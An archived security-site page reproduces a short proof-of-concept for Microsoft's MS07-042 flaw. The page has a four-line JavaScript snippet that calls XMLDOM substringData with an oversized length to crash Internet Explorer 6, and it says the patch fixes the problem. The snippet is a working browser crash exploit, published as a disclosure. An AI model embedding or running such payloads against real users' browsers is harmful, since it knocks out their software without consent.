AOH :: HP Unsorted X :: TB12141.HTM

XMLDOM substringData() PoC



MS07-042 XMLDOM substringData() PoC
MS07-042 XMLDOM substringData() PoC



This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2

    var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
    xmlDoc.loadXML("");
    var txt = xmlDoc.createTextNode("huh");
    var out = txt.substringData(1,0x7fffffff);

Installing the patch from MS07-042 fixes it.

Cheers,
Alla Bezroutchko
Scanit - http://www.scanit.be/ 



The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.